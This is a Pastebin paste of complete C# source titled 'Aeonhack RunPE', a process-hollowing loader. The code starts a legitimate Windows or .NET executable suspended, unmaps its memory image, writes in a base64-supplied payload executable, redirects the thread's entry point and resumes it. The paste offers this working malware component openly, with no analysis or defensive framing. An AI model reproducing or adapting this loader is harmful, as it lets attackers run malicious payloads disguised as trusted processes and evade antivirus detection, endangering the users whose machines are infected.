Advertisement
Guest User

Aeonhack RunPE C#

a guest
Mar 31st, 2015
3,271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.30 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Runtime.InteropServices;
  6. using System.Security;
  7. internal class RunPE
  8. {
  9.     [StructLayout(LayoutKind.Sequential, Pack = 1)]
  10.     private struct PROCESS_INFORMATION
  11.     {
  12.         public IntPtr ProcessHandle;
  13.         public IntPtr ThreadHandle;
  14.         public uint ProcessId;
  15.         public uint ThreadId;
  16.     }
  17.     [StructLayout(LayoutKind.Sequential, Pack = 1)]
  18.     private struct STARTUP_INFORMATION
  19.     {
  20.         public uint Size;
  21.         public string Reserved1;
  22.         public string Desktop;
  23.         public string Title;
  24.         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
  25.         public byte[] Misc;
  26.         public IntPtr Reserved2;
  27.         public IntPtr StdInput;
  28.         public IntPtr StdOutput;
  29.         public IntPtr StdError;
  30.     }
  31.     [SuppressUnmanagedCodeSecurity]
  32.     [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
  33.     private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref RunPE.STARTUP_INFORMATION startupInfo, ref RunPE.PROCESS_INFORMATION processInformation);
  34.     [SuppressUnmanagedCodeSecurity]
  35.     [DllImport("kernel32.dll")]
  36.     private static extern bool GetThreadContext(IntPtr thread, int[] context);
  37.     [SuppressUnmanagedCodeSecurity]
  38.     [DllImport("kernel32.dll")]
  39.     private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
  40.     [SuppressUnmanagedCodeSecurity]
  41.     [DllImport("kernel32.dll")]
  42.     private static extern bool SetThreadContext(IntPtr thread, int[] context);
  43.     [SuppressUnmanagedCodeSecurity]
  44.     [DllImport("kernel32.dll")]
  45.     private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
  46.     [SuppressUnmanagedCodeSecurity]
  47.     [DllImport("kernel32.dll")]
  48.     private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
  49.     [SuppressUnmanagedCodeSecurity]
  50.     [DllImport("kernel32.dll")]
  51.     private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
  52.     [SuppressUnmanagedCodeSecurity]
  53.     [DllImport("ntdll.dll")]
  54.     private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
  55.     [SuppressUnmanagedCodeSecurity]
  56.     [DllImport("kernel32.dll")]
  57.     private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
  58.     [SuppressUnmanagedCodeSecurity]
  59.     [DllImport("kernel32.dll")]
  60.     private static extern int ResumeThread(IntPtr handle);
  61.     public static void Main(string[] args)
  62.     {
  63.         byte[] data = Convert.FromBase64String(args[0]);
  64.         string text = "";
  65.         if (args[1] == "net")
  66.         {
  67.             text = RuntimeEnvironment.GetRuntimeDirectory();
  68.             text = text.Replace(text.Split(new char[]
  69.             {
  70.                 '\\'
  71.             })[text.Split(new char[]
  72.             {
  73.                 '\\'
  74.             }).Length - 2], "v2.0.50727");
  75.             text = Path.Combine(text, args[2] + ".exe");
  76.         }
  77.         if (args[1] == "sys")
  78.         {
  79.             text = Path.Combine(Environment.SystemDirectory, args[2] + ".exe");
  80.         }
  81.         if (args[1] == "self")
  82.         {
  83.             text = Assembly.GetEntryAssembly().Location;
  84.         }
  85.         if (args[1] == "swi")
  86.         {
  87.             text = args[2];
  88.         }
  89.         if (args[1] != "swi")
  90.         {
  91.             RunPE.Run(text, "", data, false);
  92.         }
  93.         else
  94.         {
  95.             RunPE.Run(text, Assembly.GetEntryAssembly().Location, data, false);
  96.         }
  97.     }
  98.     public static bool Run(string path, string cmd, byte[] data, bool compatible)
  99.     {
  100.         bool result;
  101.         for (int i = 1; i <= 5; i++)
  102.         {
  103.             if (RunPE.HandleRun(path, cmd, data, compatible))
  104.             {
  105.                 result = true;
  106.                 return result;
  107.             }
  108.         }
  109.         result = false;
  110.         return result;
  111.     }
  112.     private static bool HandleRun(string path, string cmd, byte[] data, bool compatible)
  113.     {
  114.         int num = 0;
  115.         string text = string.Format("\"{0}\"", path);
  116.         RunPE.STARTUP_INFORMATION sTARTUP_INFORMATION = default(RunPE.STARTUP_INFORMATION);
  117.         RunPE.PROCESS_INFORMATION pROCESS_INFORMATION = default(RunPE.PROCESS_INFORMATION);
  118.         sTARTUP_INFORMATION.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(RunPE.STARTUP_INFORMATION)));
  119.         bool result;
  120.         try
  121.         {
  122.             if (!string.IsNullOrEmpty(cmd))
  123.             {
  124.                 text = text + " " + cmd;
  125.             }
  126.             if (!RunPE.CreateProcess(path, text, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref sTARTUP_INFORMATION, ref pROCESS_INFORMATION))
  127.             {
  128.                 throw new Exception();
  129.             }
  130.             int num2 = BitConverter.ToInt32(data, 60);
  131.             int num3 = BitConverter.ToInt32(data, num2 + 52);
  132.             int[] array = new int[179];
  133.             array[0] = 65538;
  134.             if (IntPtr.Size == 4)
  135.             {
  136.                 if (!RunPE.GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  137.                 {
  138.                     throw new Exception();
  139.                 }
  140.             }
  141.             else
  142.             {
  143.                 if (!RunPE.Wow64GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  144.                 {
  145.                     throw new Exception();
  146.                 }
  147.             }
  148.             int num4 = array[41];
  149.             int num5 = 0;
  150.             if (!RunPE.ReadProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4 + 8, ref num5, 4, ref num))
  151.             {
  152.                 throw new Exception();
  153.             }
  154.             if (num3 == num5)
  155.             {
  156.                 if (RunPE.NtUnmapViewOfSection(pROCESS_INFORMATION.ProcessHandle, num5) != 0)
  157.                 {
  158.                     throw new Exception();
  159.                 }
  160.             }
  161.             int length = BitConverter.ToInt32(data, num2 + 80);
  162.             int bufferSize = BitConverter.ToInt32(data, num2 + 84);
  163.             bool flag = false;
  164.             int num6 = RunPE.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, num3, length, 12288, 64);
  165.             if (!compatible && num6 == 0)
  166.             {
  167.                 flag = true;
  168.                 num6 = RunPE.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, 0, length, 12288, 64);
  169.             }
  170.             if (num6 == 0)
  171.             {
  172.                 throw new Exception();
  173.             }
  174.             if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6, data, bufferSize, ref num))
  175.             {
  176.                 throw new Exception();
  177.             }
  178.             int num7 = num2 + 248;
  179.             short num8 = BitConverter.ToInt16(data, num2 + 6);
  180.             for (int i = 0; i <= (int)(num8 - 1); i++)
  181.             {
  182.                 int num9 = BitConverter.ToInt32(data, num7 + 12);
  183.                 int num10 = BitConverter.ToInt32(data, num7 + 16);
  184.                 int srcOffset = BitConverter.ToInt32(data, num7 + 20);
  185.                 if (num10 != 0)
  186.                 {
  187.                     byte[] array2 = new byte[num10];
  188.                     Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length);
  189.                     if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6 + num9, array2, array2.Length, ref num))
  190.                     {
  191.                         throw new Exception();
  192.                     }
  193.                 }
  194.                 num7 += 40;
  195.             }
  196.             byte[] bytes = BitConverter.GetBytes(num6);
  197.             if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4 + 8, bytes, 4, ref num))
  198.             {
  199.                 throw new Exception();
  200.             }
  201.             int num11 = BitConverter.ToInt32(data, num2 + 40);
  202.             if (flag)
  203.             {
  204.                 num6 = num3;
  205.             }
  206.             array[44] = num6 + num11;
  207.             if (IntPtr.Size == 4)
  208.             {
  209.                 if (!RunPE.SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  210.                 {
  211.                     throw new Exception();
  212.                 }
  213.             }
  214.             else
  215.             {
  216.                 if (!RunPE.Wow64SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  217.                 {
  218.                     throw new Exception();
  219.                 }
  220.             }
  221.             if (RunPE.ResumeThread(pROCESS_INFORMATION.ThreadHandle) == -1)
  222.             {
  223.                 throw new Exception();
  224.             }
  225.         }
  226.         catch (Exception ex)
  227.         {
  228.             Console.WriteLine(ex.ToString());
  229.             Process processById = Process.GetProcessById(Convert.ToInt32(pROCESS_INFORMATION.ProcessId));
  230.             if (processById != null)
  231.             {
  232.                 processById.Kill();
  233.             }
  234.             result = false;
  235.             return result;
  236.         }
  237.         result = true;
  238.         return result;
  239.     }
  240. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement